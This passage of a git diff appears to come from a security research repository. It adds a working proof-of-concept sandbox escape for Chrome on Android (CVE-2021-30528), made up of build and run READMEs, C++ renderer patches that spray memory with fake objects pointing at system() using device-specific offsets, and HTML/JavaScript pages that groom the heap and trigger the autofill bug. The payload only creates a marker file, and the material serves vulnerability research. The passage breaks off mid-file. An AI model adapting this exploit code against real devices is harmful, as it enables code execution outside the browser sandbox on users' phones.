+1. In the testing version of Chrome, go to `Settings > Payment Methods` and select `Add card`.
+2. Enter `4111 1111 1111 1111` as the card number, this should be recognized as a Visa card. (I found this in some code comment and I can only hope that this is not the real card number of some dedicated developer)
+
+Then create a directory to host the `html` files included in this directory, and run `copy_mojo_js_bindings.py` to copy the mojo bindings to the directory and host the files on localhost:
+
+```
+python ./copy_mojo_js_bindings.py /path/to/chrome/../out/<target>/gen
+python -m SimpleHTTPServer
+```
+
+Then open the page `http://localhost:8000/trigger2_64.html` or `http://localhost:8000/trigger2_32.html` (depending on the version) from Chrome on the device. The easiest way is to use the `chrome://inspect/#devices` tool to set up the proxies etc. and open the url.
+
+If successful, the shell command will run and a file called `pwn` will be created in the directory `/data/data/org.chromium.chrome/` in the phone. This should success most of the time.
diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md
new file mode 100644
index 0000000..4bd332a
--- /dev/null
+++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md
@@ -0,0 +1,47 @@
+## 64 bit version
+
+The 64 bit version 90.0.4430.91 of Chrome is tested with Samsung Galaxy A71 firmware version A715FXXU3BUB5.
+
+The offsets included in `arm64_renderer.patch` are with respect to this firmware. The `arm64_renderer.patch` is used to simulate a compromised renderer. 
+
+The patch `browser.patch` patches the browser to make local testing more convenient. It does the following:
+1. It removes the `ServerCards` check to simulate having a credit card store in an account (rather than on the device):
+
+```
+@@ -163,7 +163,7 @@ void CreditCardAccessManager::PrepareToFetchCreditCard() {
+ #if !defined(OS_IOS)
+   // No need to fetch details if there are no server cards.
+   if (!ServerCardsAvailable())
+-    return;
++//    return;
+
+```
+
+2. It removes the requirement for secure content, which would require a properly set up https context. (Self signing certificate for localhost does not pass this)
+
+```
+@@ -2542,7 +2542,9 @@ void AutofillManager::GetAvailableSuggestions(
+     return;
+   }
+ 
+-  context->is_context_secure = !IsFormNonSecure(form);
++//  context->is_context_secure = !IsFormNonSecure(form);
++  context->is_context_secure = true;
++
+
+```
+
+These are only for the convenience of local testing and are not a requirement of the vulnerability.
+
+After applying both of these patches, build Chrome version 90.0.4430.91 with the following build config (`args.gn`):
+
+```
+target_os = "android"
+target_cpu = "arm64"
+is_java_debug = false
+is_debug = false
+symbol_level = 1
+blink_symbol_level = 1
+```
+
+then follow the instructions in `README.md` of the parent directory to test.
diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/arm64_renderer.patch b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/arm64_renderer.patch
new file mode 100644
index 0000000..f076cb0
--- /dev/null
+++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/arm64_renderer.patch
@@ -0,0 +1,213 @@
+diff --git a/third_party/blink/renderer/core/frame/dom_window.cc b/third_party/blink/renderer/core/frame/dom_window.cc
+index 59204c4d8db3..6c50421a6c78 100644
+--- a/third_party/blink/renderer/core/frame/dom_window.cc
++++ b/third_party/blink/renderer/core/frame/dom_window.cc
+@@ -43,6 +43,56 @@
+ #include "third_party/blink/renderer/platform/weborigin/kurl.h"
+ #include "third_party/blink/renderer/platform/weborigin/security_origin.h"
+ 
++
++#include "ui/gfx/geometry/rect_f.h"
++#include "base/strings/utf_string_conversions.h"
++#include "content/public/renderer/render_frame.h"
++#include "content/renderer/render_frame_impl.h"
++#include "content/public/renderer/render_frame_visitor.h"
++#include "content/renderer/frame_owner_properties_converter.h"
++#include "content/renderer/render_frame_proxy.h"
++#include "components/autofill/core/common/mojom/autofill_types.mojom.h"
++#include "components/autofill/content/common/mojom/autofill_agent.mojom.h"
++#include "components/autofill/content/common/mojom/autofill_driver.mojom.h"
++
++#include "components/autofill/core/common/password_generation_util.h"
++#include "components/autofill/core/common/form_data.h"
++#include "components/autofill/core/common/renderer_id.h"
++#include "third_party/blink/renderer/core/frame/web_local_frame_impl.h"
++
++#include "third_party/ashmem/ashmem.h"
++#include <sys/mman.h>
++#include "third_party/blink/renderer/core/mojo/mojo.h"
++#include "third_party/blink/renderer/core/mojo/mojo_create_data_pipe_options.h"
++#include "third_party/blink/renderer/core/mojo/mojo_create_data_pipe_result.h"
++
++#include "base/single_thread_task_runner.h"
++#include "third_party/blink/public/mojom/blob/blob_registry.mojom-blink.h"
++#include "third_party/blink/public/mojom/fetch/fetch_api_request.mojom-blink-forward.h"
++#include "third_party/blink/public/mojom/frame/back_forward_cache_controller.mojom-blink-forward.h"
++#include "third_party/blink/public/mojom/service_worker/controller_service_worker_mode.mojom-blink-forward.h"
++#include "third_party/blink/public/platform/web_url_loader.h"
++#include "third_party/blink/renderer/platform/heap/persistent.h"
++#include "third_party/blink/renderer/platform/loader/fetch/fetch_parameters.h"
++#include "third_party/blink/renderer/platform/loader/fetch/preload_key.h"
++#include "third_party/blink/renderer/platform/loader/fetch/resource_load_priority.h"
++#include "third_party/blink/renderer/platform/loader/fetch/resource_load_scheduler.h"
++#include "third_party/blink/renderer/platform/mojo/heap_mojo_remote.h"
++#include "third_party/blink/renderer/platform/mojo/heap_mojo_wrapper_mode.h"
++#include "third_party/blink/renderer/platform/mojo/mojo_binding_context.h"
++#include "third_party/blink/renderer/platform/platform_export.h"
++#include "third_party/blink/renderer/platform/timer.h"
++#include "third_party/blink/renderer/platform/wtf/hash_map.h"
++#include "third_party/blink/renderer/platform/wtf/hash_set.h"
++#include "third_party/blink/renderer/platform/wtf/text/string_hash.h"
++#include "third_party/blink/public/common/thread_safe_browser_interface_broker_proxy.h"
++
++#include "mojo/core/core.h"
++#include "mojo/public/c/system/data_pipe.h"
++
++#include <fstream>
++#include <string>
++
+ namespace blink {
+ 
+ DOMWindow::DOMWindow(Frame& frame)
+@@ -55,6 +105,135 @@ DOMWindow::~DOMWindow() {
+   DCHECK(!frame_);
+ }
+ 
++
++//--------------Spray virtual memory----------------------------
++static uint64_t findLibOffset(const std::string& lib) {
++  std::ifstream file("/proc/self/maps");
++  CHECK(file.is_open()) << "Cannot open /proc/self/maps";
++  std::string line;
++  std::string addr;
++  while (std::getline(file, line)) {
++    if (line.find(lib) != std::string::npos) {
++      LOG(ERROR) << "found "<< lib << line;
++      int pos = line.find("-");
++      std::string addrStr = line.substr(0,pos);
++      uint64_t offset = std::stol(addrStr, nullptr, 16);
++      LOG(ERROR) << addrStr << " : " << offset;
++      return offset;
++    }
++  }
++  CHECK(false) << "Cannot find " << lib << " offset";
++  return 0;
++}
++
++//Same as the heuristics used in javascript.
++static uint64_t computeControlledAddress(uint64_t addr) {
++  uint64_t sprayedAddr = addr - 0x1000000000;
++  uint64_t fillAddr = sprayedAddr/0x100000000;
++  return fillAddr * 0x100000000;
++}
++
++static int mapAndInitializeSharedMem(uint64_t* addr) {
++  size_t pageSize = 0x1000;
++  size_t hugePageSize = 0x8000000;
++  uint64_t libhwuiOffset = findLibOffset("libhwui.so");
++  uint64_t libcOffset = findLibOffset("libc.so");
++
++//A71 specific offsets--------------------
++  uint64_t executeOffset = 0x8ce318;
++  uint64_t systemOffset = 0x60ac8;
++//------------------------------------------
++  int fd = ashmem_create_region("spray_region", hugePageSize);
++  for (size_t i = 0; i < hugePageSize/pageSize; i++) {
++    uint8_t* mapped = (uint8_t*)mmap(nullptr, pageSize, PROT_READ | PROT_WRITE, MAP_SHARED, fd, i * pageSize);
++    CHECK(mapped && mapped != MAP_FAILED) << "mmap failed " << i;
++    if (i == 0) *addr = (uint64_t)mapped;
++    memset(mapped, 0x00, pageSize);
++    uint64_t* execute = (uint64_t*)(mapped + 8);
++    *execute = executeOffset + libhwuiOffset;
++    //Fake webpworker
++    uint64_t* hook = (uint64_t*)(mapped + 0x10);
++    *hook = systemOffset + libcOffset;
++    uint64_t controlledAddr = computeControlledAddress(*addr);
++    uint64_t* data = (uint64_t*)(mapped + 0x18);
++    *data = controlledAddr + 0x100;
++    char cmd[] = "touch /data/data/org.chromium.chrome/pwn";
++    memcpy(mapped + 0x100, cmd, strlen(cmd) + 1);
++  }
++  return fd;
++}
++
++static std::vector<mojo::ScopedHandle> createDataPipes(int pipeNum, std::vector<int>& fd) {
++  std::vector<mojo::ScopedHandle> handles;
++  for (int i = 0; i < pipeNum; i++) {
++    MojoCreateDataPipeOptions options;
++    options.setElementNumBytes(1);
++    options.setCapacityNumBytes(0x1000);
++    MojoCreateDataPipeResult* result = Mojo::createDataPipe(&options);
++    handles.push_back(result->consumer()->TakeHandle());
++  }
++  return handles;
++}
++
++
++static uint64_t sprayVirtualMem() {
++  int dupNum = 200;
++  uint64_t addr = 0;
++  int fd = mapAndInitializeSharedMem(&addr);
++  std::vector<int> fds;
++  for (int i = 0; i < dupNum; i++) {
++    fds.push_back(dup(fd));
++  }
++  std::vector<mojo::ScopedHandle> handles = createDataPipes(dupNum, fds);
++  mojo::core::Core* core = mojo::core::Core::Get();
++  for (size_t i = 0; i < handles.size(); i++) {
++    scoped_refptr<mojo::core::Dispatcher> dispatcher = core->GetDispatcher(handles[i]->value());
++    uint8_t* dispatcherPtr8 = (uint8_t*)(dispatcher.get());
++    int offset = 160;
++    *(base::ScopedFD*)(dispatcherPtr8 + offset) = base::ScopedFD(fds[i]);
++    uint64_t* dispatcherPtrWide = (uint64_t*)(dispatcher.get());
++    *(dispatcherPtrWide + (offset + 24)/sizeof(uint64_t)) = 0x8000000;
++    ::MojoCreateDataPipeOptions* options = (::MojoCreateDataPipeOptions*)(dispatcherPtr8 + 16);
++    options->element_num_bytes = 0x8000000;
++    options->capacity_num_bytes = 0x8000000;
++  }
++
++
++  mojo::Remote<mojom::blink::BlobRegistry> blob_registry;
++  Platform::Current()->GetBrowserInterfaceBroker()->GetInterface(
++        blob_registry.BindNewPipeAndPassReceiver());
++  for (int i = 0; i < dupNum; i++) {
++    blob_registry->RegisterFromStream("", "", 1, mojo::ScopedDataPipeConsumerHandle::From(std::move(handles[i])), mojo::NullAssociatedRemote(), base::DoNothing());
++  }
++  return addr;
++}
++//----------------------------------------------------------------------
++
++//Triggering bug
++static void RenderFrameImpl_Visitor(content::RenderFrameImpl* frame) {
++  blink::AssociatedInterfaceProvider* provider = frame->GetRemoteAssociatedInterfaces();
++  mojo::AssociatedRemote<autofill::mojom::AutofillDriver> autofill_driver;
++  provider->GetInterface(&autofill_driver);
++  autofill::FormData form;
++  autofill::FormFieldData field;
++  field.autocomplete_attribute = "cc-number";
++  form.fields.push_back(field);
++  form.url = GURL("https://www.aaa.com");
++  autofill_driver->QueryFormFieldAutofill(0, form, field, gfx::RectF(10,10), false);
++}
++
++static void RenderFrameHost_test() {
++  struct TriggerVisitor : public content::RenderFrameVisitor {
++    bool Visit(content::RenderFrame* frame) override {
++      RenderFrameImpl_Visitor((content::RenderFrameImpl*)frame);
++      return true;
++    }
++  };
++  TriggerVisitor visitor;
++  content::RenderFrame::ForEach(&visitor);
++}
++//----------------------------------------------------------------------
++
+ v8::Local<v8::Value> DOMWindow::Wrap(v8::Isolate* isolate,
+                                      v8::Local<v8::Object> creation_context) {
+   // TODO(yukishiino): Get understanding of why it's possible to initialize
+@@ -157,6 +336,15 @@ void DOMWindow::postMessage(v8::Isolate* isolate,
+                             const String& target_origin,
+                             HeapVector<ScriptValue>& transfer,
+                             ExceptionState& exception_state) {
++  if (target_origin == "trigger") {
++    RenderFrameHost_test();
++    return;
++  }
++  if (target_origin == "spray") {
++    uint64_t addr = sprayVirtualMem();
++    exception_state.ThrowTypeError(String::Number(addr));
++    return;
++  }
+   WindowPostMessageOptions* options = WindowPostMessageOptions::Create();
+   options->setTargetOrigin(target_origin);
+   if (!transfer.IsEmpty())
diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/browser.patch b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/browser.patch
new file mode 100644
index 0000000..56bbc7a
--- /dev/null
+++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/browser.patch
@@ -0,0 +1,28 @@
+diff --git a/components/autofill/core/browser/autofill_manager.cc b/components/autofill/core/browser/autofill_manager.cc
+index 07b62e25c1ff..d5496277f632 100644
+--- a/components/autofill/core/browser/autofill_manager.cc
++++ b/components/autofill/core/browser/autofill_manager.cc
+@@ -2542,7 +2542,9 @@ void AutofillManager::GetAvailableSuggestions(
+     return;
+   }
+ 
+-  context->is_context_secure = !IsFormNonSecure(form);
++//  context->is_context_secure = !IsFormNonSecure(form);
++  context->is_context_secure = true;
++
+ 
+   // TODO(rogerm): Early exit here on !driver()->RendererIsAvailable()?
+   // We skip populating autofill data, but might generate warnings and or
+diff --git a/components/autofill/core/browser/payments/credit_card_access_manager.cc b/components/autofill/core/browser/payments/credit_card_access_manager.cc
+index 560f30b57c88..6b5715949ffd 100644
+--- a/components/autofill/core/browser/payments/credit_card_access_manager.cc
++++ b/components/autofill/core/browser/payments/credit_card_access_manager.cc
+@@ -163,7 +163,7 @@ void CreditCardAccessManager::PrepareToFetchCreditCard() {
+ #if !defined(OS_IOS)
+   // No need to fetch details if there are no server cards.
+   if (!ServerCardsAvailable())
+-    return;
++//    return;
+ 
+   // Do not make an unnecessary preflight call unless signaled.
+   if (!can_fetch_unmask_details_.IsSignaled())
diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/trigger.html b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/trigger.html
new file mode 100644
index 0000000..2dea2cc
--- /dev/null
+++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/trigger.html
@@ -0,0 +1,14 @@
+<html>
+  <head>
+
+    <script>
+      function trigger() {
+        postMessage("trigger", "trigger");
+        parent.removeIframe('trigger');
+      }
+    </script>
+  </head>
+
+  <body onload="trigger()"></body>
+
+</html>  
diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/trigger2_64.html b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/trigger2_64.html
new file mode 100644
index 0000000..4a9bf6e
--- /dev/null
+++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/trigger2_64.html
@@ -0,0 +1,81 @@
+<html>
+  <head>
+    <script src="mojo_bindings.js"></script>
+    <script src="third_party/blink/public/mojom/clipboard/clipboard.mojom.js"></script>
+    <script src="skia/public/mojom/bitmap.mojom.js"></script>
+
+    <script>
+      const clipboardSize = 1;
+      clipboards = [];
+      function createCustomData(count, addr) {
+        let customData = new Map();
+        for (let i = 0; i < count; i++) {
+		  let key = new mojoBase.mojom.String16();
+          let keyStore = new ArrayBuffer(46);
+          let keyData = new Uint16Array(keyStore);
+          let keyView = new Uint8Array(keyStore);
+          keyData.fill(0x0000);
+          //heuristics to calculate the controlled address
+          sprayedAddr = addr - 0x1000000000;
+          fillAddr = sprayedAddr/0x100000000;
+          keyView[44] = fillAddr;
+          console.log(keyView[44]);
+          keyData[0] = i
+		  key.data = keyData;
+		  let bigBuffer = new mojoBase.mojom.BigBuffer();
+          let valueData = new Array(46);
+          valueData.fill(46);
+          bigBuffer.bytes = valueData;
+          let value = new mojoBase.mojom.BigString16();
+          value.data = bigBuffer;
+          customData.set(key, value);
+        }
+        return customData;
+      }
+
+      function createClipboards(n, clipboardArr) {
+        for (let i = 0; i < n; i++) {
+          let clipboard_ptr = new blink.mojom.ClipboardHostPtr();
+          Mojo.bindInterface(blink.mojom.ClipboardHost.name,
+                            mojo.makeRequest(clipboard_ptr).handle);
+          clipboardArr.push(clipboard_ptr);
+        }
+      }
+
+
+      function createIframe(id, src) {
+	    let iframe = document.createElement('iframe');
+	    iframe.style.display="none";
+	    iframe.setAttribute('id', id);
+        if (src !== undefined) {
+	      iframe.src = src;
+        }
+	    document.body.appendChild(iframe);
+      }
+      
+      function removeIframe(id) {
+	    let frame = document.getElementById(id);
+	    frame.parentNode.removeChild(frame);
+
+        for (let i = 0; i < clipboardSize; i++) {
+            clipboards[i].writeCustomData(customData);
+        }  
+      }
+    
+      function load() {
+        createClipboards(clipboardSize, clipboards);
+        try {
+          postMessage("spray", "spray");
+        } catch (e) {
+          let addr = parseInt(e.message.split(':')[1].trim());
+          customData = createCustomData(1000, addr);
+        }
+
+        createIframe("trigger", "trigger.html");
+      }
+    </script>
+  </head>
+
+  <body onload="load()"></body>
+
+</html>  
diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md
new file mode 100644
index 0000000..08fad30
--- /dev/null
+++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md
@@ -0,0 +1,49 @@
+## 32 bit version
+
+The 32 bit version 88.0.4324.181 of Chrome are tested with the following devices: 
+1. Pixel 3a firmware version RP1A.200720.009
+2. Samsung Galaxy A71 firmware version A715FXXU3BUB5
+
+The offsets included in `arm_renderer.patch` are with respect to these firmware. (To test on Pixel 3a, the offset for A71 needs to be commented out) The `arm_renderer.patch` is used to simulate a compromised renderer. 
+
+The patch `browser.patch` patches the browser to make local testing more convenient. It does the following:
+1. It removes the `ServerCards` check to simulate having a credit card store in an account (rather than on the device):
+
+```
+@@ -163,7 +163,7 @@ void CreditCardAccessManager::PrepareToFetchCreditCard() {
+ #if !defined(OS_IOS)
+   // No need to fetch details if there are no server cards.
+   if (!ServerCardsAvailable())
+-    return;
++//    return;
+
+```
+
+2. It removes the requirement for secure content, which would require a properly set up https context. (Self signing certificate for localhost does not pass this)
+
+```
+@@ -2542,7 +2542,9 @@ void AutofillManager::GetAvailableSuggestions(
+     return;
+   }
+ 
+-  context->is_context_secure = !IsFormNonSecure(form);
++//  context->is_context_secure = !IsFormNonSecure(form);
++  context->is_context_secure = true;
++
+
+```
+
+These are only for the convenience of local testing and are not a requirement of the vulnerability.
+
+After applying both of these patches, build Chrome version 88.0.4324.181 with the following build config (`args.gn`):
+
+```
+target_os = "android"
+target_cpu = "arm"
+is_java_debug = false
+is_debug = false
+symbol_level = 1
+blink_symbol_level = 1
+```
+
+then follow the instructions in `README.md` of the parent directory to test.
diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/arm_renderer.patch b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/arm_renderer.patch
new file mode 100644
index 0000000..a2304ff
--- /dev/null
+++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/arm_renderer.patch
@@ -0,0 +1,201 @@
+diff --git a/third_party/blink/renderer/core/frame/dom_window.cc b/third_party/blink/renderer/core/frame/dom_window.cc
+index 5a768a029f92..19b506446232 100644
+--- a/third_party/blink/renderer/core/frame/dom_window.cc
++++ b/third_party/blink/renderer/core/frame/dom_window.cc
+@@ -43,6 +43,55 @@
+ #include "third_party/blink/renderer/platform/weborigin/kurl.h"
+ #include "third_party/blink/renderer/platform/weborigin/security_origin.h"
+ 
++
++#include "ui/gfx/geometry/rect_f.h"
++#include "base/strings/utf_string_conversions.h"
++#include "content/public/renderer/render_frame.h"
++#include "content/renderer/render_frame_impl.h"
++#include "content/public/renderer/render_frame_visitor.h"
++#include "content/renderer/frame_owner_properties_converter.h"
++#include "content/renderer/render_frame_proxy.h"
++#include "components/autofill/core/common/mojom/autofill_types.mojom.h"
++#include "components/autofill/content/common/mojom/autofill_agent.mojom.h"
++#include "components/autofill/content/common/mojom/autofill_driver.mojom.h"
++
++#include "components/autofill/core/common/password_generation_util.h"
++#include "components/autofill/core/common/form_data.h"
++#include "components/autofill/core/common/renderer_id.h"
++#include "third_party/blink/renderer/core/frame/web_local_frame_impl.h"
++
++#include "third_party/ashmem/ashmem.h"
++#include <sys/mman.h>
++#include "third_party/blink/renderer/core/mojo/mojo.h"
++#include "third_party/blink/renderer/core/mojo/mojo_create_data_pipe_options.h"
++#include "third_party/blink/renderer/core/mojo/mojo_create_data_pipe_result.h"
++
++#include "base/single_thread_task_runner.h"
++#include "third_party/blink/public/mojom/blob/blob_registry.mojom-blink.h"
++#include "third_party/blink/public/mojom/fetch/fetch_api_request.mojom-blink-forward.h"
++#include "third_party/blink/public/mojom/frame/back_forward_cache_controller.mojom-blink-forward.h"
++#include "third_party/blink/public/mojom/service_worker/controller_service_worker_mode.mojom-blink-forward.h"
++#include "third_party/blink/public/platform/web_url_loader.h"
++#include "third_party/blink/renderer/platform/heap/persistent.h"
++#include "third_party/blink/renderer/platform/loader/fetch/fetch_parameters.h"
++#include "third_party/blink/renderer/platform/loader/fetch/preload_key.h"
++#include "third_party/blink/renderer/platform/loader/fetch/resource_load_priority.h"
++#include "third_party/blink/renderer/platform/loader/fetch/resource_load_scheduler.h"
++#include "third_party/blink/renderer/platform/mojo/heap_mojo_remote.h"
++#include "third_party/blink/renderer/platform/mojo/heap_mojo_wrapper_mode.h"
++#include "third_party/blink/renderer/platform/platform_export.h"
++#include "third_party/blink/renderer/platform/timer.h"
++#include "third_party/blink/renderer/platform/wtf/hash_map.h"
++#include "third_party/blink/renderer/platform/wtf/hash_set.h"
++#include "third_party/blink/renderer/platform/wtf/text/string_hash.h"
++#include "third_party/blink/public/common/thread_safe_browser_interface_broker_proxy.h"
++
++#include "mojo/core/core.h"
++#include "mojo/public/c/system/data_pipe.h"
++
++#include <fstream>
++#include <string>
++
+ namespace blink {
+ 
+ DOMWindow::DOMWindow(Frame& frame)
+@@ -55,6 +104,125 @@ DOMWindow::~DOMWindow() {
+   DCHECK(!frame_);
+ }
+ 
++//--------------Spray virtual memory----------------------------
++static uint32_t findLibOffset(const std::string& lib) {
++  std::ifstream file("/proc/self/maps");
++  CHECK(file.is_open()) << "Cannot open /proc/self/maps";
++  std::string line;
++  std::string addr;
++  while (std::getline(file, line)) {
++    if (line.find(lib) != std::string::npos) {
++      LOG(ERROR) << "found "<< lib << " " << line;
++      int pos = line.find("-");
++      std::string addrStr = line.substr(0,pos);
++      uint32_t offset = (uint32_t)std::stoll(addrStr, nullptr, 16);
++      LOG(ERROR) << addrStr << " : " << offset;
++      return offset;
++    }
++  }
++  CHECK(false) << "Cannot find " << lib << " offset";
++  return 0;
++}
++
++static int mapAndInitializeSharedMem() {
++  size_t pageSize = 0x1000;
++  size_t hugePageSize = 0x4000000;
++  uint32_t libhwuiOffset = findLibOffset("libhwui.so");
++
++//Pixel3a specific offsets--------------------
++  uint32_t executeOffset = 0x538f54;
++
++//A71 specific offsets------------------------
++  executeOffset = 0x7246a0;
++
++  int fd = ashmem_create_region("spray_region", hugePageSize);
++  for (size_t i = 0; i < hugePageSize/pageSize; i++) {
++    uint8_t* mapped = (uint8_t*)mmap(nullptr, pageSize, PROT_READ | PROT_WRITE, MAP_SHARED, fd, i * pageSize);
++    CHECK(mapped && mapped != MAP_FAILED) << "mmap failed " << i;
++    memset(mapped, 0x00, pageSize);
++    uint32_t* execute = (uint32_t*)(mapped + 4);
++    *execute = executeOffset + libhwuiOffset;
++    //Fake webpworker
++    uint32_t* hook = (uint32_t*)(mapped + 8);
++    *hook = (uint32_t)(&system);
++    uint32_t controlledAddr = 0x67000000;
++    uint32_t* data = (uint32_t*)(mapped + 12);
++    *data = controlledAddr + 0x100;
++    char cmd[] = "touch /data/data/org.chromium.chrome/pwn";
++    memcpy(mapped + 0x100, cmd, strlen(cmd) + 1);
++  }
++  return fd;
++}
++
++static std::vector<mojo::ScopedHandle> createDataPipes(int pipeNum, std::vector<int>& fd) {
++  std::vector<mojo::ScopedHandle> handles;
++  for (int i = 0; i < pipeNum; i++) {
++    MojoCreateDataPipeOptions options;
++    options.setElementNumBytes(1);
++    options.setCapacityNumBytes(0x1000);
++    MojoCreateDataPipeResult* result = Mojo::createDataPipe(&options);
++    handles.push_back(result->consumer()->TakeHandle());
++  }
++  return handles;
++}
++
++
++static void sprayVirtualMem() {
++  int dupNum = 20;
++  int fd = mapAndInitializeSharedMem();
++  std::vector<int> fds;
++  for (int i = 0; i < dupNum; i++) {
++    fds.push_back(dup(fd));
++  }
++  std::vector<mojo::ScopedHandle> handles = createDataPipes(dupNum, fds);
++  mojo::core::Core* core = mojo::core::Core::Get();
++  for (size_t i = 0; i < handles.size(); i++) {
++    scoped_refptr<mojo::core::Dispatcher> dispatcher = core->GetDispatcher(handles[i]->value());
++    uint8_t* dispatcherPtr8 = (uint8_t*)(dispatcher.get());
++    int offset = 96;
++    *(base::ScopedFD*)(dispatcherPtr8 + offset) = base::ScopedFD(fds[i]);
++    uint32_t* dispatcherPtrWide = (uint32_t*)(dispatcher.get());
++    *(dispatcherPtrWide + (offset + 16)/sizeof(uint32_t)) = 0x4000000;
++    ::MojoCreateDataPipeOptions* options = (::MojoCreateDataPipeOptions*)(dispatcherPtr8 + 8);
++    options->element_num_bytes = 0x4000000;
++    options->capacity_num_bytes = 0x4000000;
++  }
++
++
++  mojo::Remote<mojom::blink::BlobRegistry> blob_registry;
++  Platform::Current()->GetBrowserInterfaceBroker()->GetInterface(
++        blob_registry.BindNewPipeAndPassReceiver());
++  for (int i = 0; i < dupNum; i++) {
++    blob_registry->RegisterFromStream("", "", 1, mojo::ScopedDataPipeConsumerHandle::From(std::move(handles[i])), mojo::NullAssociatedRemote(), base::DoNothing());
++  }
++}
++//----------------------------------------------------------------------
++
++//Triggering bug
++static void RenderFrameImpl_Visitor(content::RenderFrameImpl* frame) {
++  blink::AssociatedInterfaceProvider* provider = frame->GetRemoteAssociatedInterfaces();
++  mojo::AssociatedRemote<autofill::mojom::AutofillDriver> autofill_driver;
++  provider->GetInterface(&autofill_driver);
++  autofill::FormData form;
++  autofill::FormFieldData field;
++  field.autocomplete_attribute = "cc-number";
++  form.fields.push_back(field);
++  form.url = GURL("https://www.aaa.com");
++  autofill_driver->QueryFormFieldAutofill(0, form, field, gfx::RectF(10,10), false);
++}
++
++static void RenderFrameHost_test() {
++  struct TriggerVisitor : public content::RenderFrameVisitor {
++    bool Visit(content::RenderFrame* frame) override {
++      RenderFrameImpl_Visitor((content::RenderFrameImpl*)frame);
++      return true;
++    }
++  };
++  TriggerVisitor visitor;
++  content::RenderFrame::ForEach(&visitor);
++}
++//----------------------------------------------------------------------
++
+ v8::Local<v8::Value> DOMWindow::Wrap(v8::Isolate* isolate,
+                                      v8::Local<v8::Object> creation_context) {
+   // TODO(yukishiino): Get understanding of why it's possible to initialize
+@@ -142,6 +310,14 @@ void DOMWindow::postMessage(v8::Isolate* isolate,
+                             const String& target_origin,
+                             HeapVector<ScriptValue>& transfer,
+                             ExceptionState& exception_state) {
++  if (target_origin == "trigger") {
++    RenderFrameHost_test();
++    return;
++  }
++  if (target_origin == "spray") {
++    sprayVirtualMem();
++    return;
++  }
+   WindowPostMessageOptions* options = WindowPostMessageOptions::Create();
+   options->setTargetOrigin(target_origin);
+   if (!transfer.IsEmpty())
diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/browser.patch b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/browser.patch
new file mode 100644
index 0000000..56bbc7a
--- /dev/null
+++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/browser.patch
@@ -0,0 +1,28 @@
+diff --git a/components/autofill/core/browser/autofill_manager.cc b/components/autofill/core/browser/autofill_manager.cc
+index 07b62e25c1ff..d5496277f632 100644
+--- a/components/autofill/core/browser/autofill_manager.cc
++++ b/components/autofill/core/browser/autofill_manager.cc
+@@ -2542,7 +2542,9 @@ void AutofillManager::GetAvailableSuggestions(
+     return;
+   }
+ 
+-  context->is_context_secure = !IsFormNonSecure(form);
++//  context->is_context_secure = !IsFormNonSecure(form);
++  context->is_context_secure = true;
++
+ 
+   // TODO(rogerm): Early exit here on !driver()->RendererIsAvailable()?
+   // We skip populating autofill data, but might generate warnings and or
+diff --git a/components/autofill/core/browser/payments/credit_card_access_manager.cc b/components/autofill/core/browser/payments/credit_card_access_manager.cc
+index 560f30b57c88..6b5715949ffd 100644
+--- a/components/autofill/core/browser/payments/credit_card_access_manager.cc
++++ b/components/autofill/core/browser/payments/credit_card_access_manager.cc
+@@ -163,7 +163,7 @@ void CreditCardAccessManager::PrepareToFetchCreditCard() {
+ #if !defined(OS_IOS)
+   // No need to fetch details if there are no server cards.
+   if (!ServerCardsAvailable())
+-    return;
++//    return;
+ 
+   // Do not make an unnecessary preflight call unless signaled.
+   if (!can_fetch_unmask_details_.IsSignaled())
diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/trigger.html b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/trigger.html
new file mode 100644
index 0000000..2dea2cc
--- /dev/null
+++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/trigger.html
@@ -0,0 +1,14 @@
+<html>
+  <head>
+
+    <script>
+      function trigger() {
+        postMessage("trigger", "trigger");
+        parent.removeIframe('trigger');
+      }
+    </script>
+  </head>
+
+  <body onload="trigger()"></body>
+
+</html>  
diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/trigger2_88.html b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/trigger2_88.html
new file mode 100644
index 0000000..4d4fc44
--- /dev/null
+++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/trigger2_88.html
@@ -0,0 +1,72 @@
+<html>
+  <head>
+    <script src="mojo_bindings.js"></script>
+    <script src="third_party/blink/public/mojom/clipboard/clipboard.mojom.js"></script>
+    <script src="skia/public/mojom/bitmap.mojom.js"></script>
+
+    <script>
+      const clipboardSize = 1;
+      clipboards = [];
+      function createCustomData(count) {
+        let customData = new Map();
+        for (let i = 0; i < count; i++) {
+		  let key = new mojoBase.mojom.String16();
+          let keyStore = new ArrayBuffer(24);
+          let keyData = new Uint16Array(keyStore);
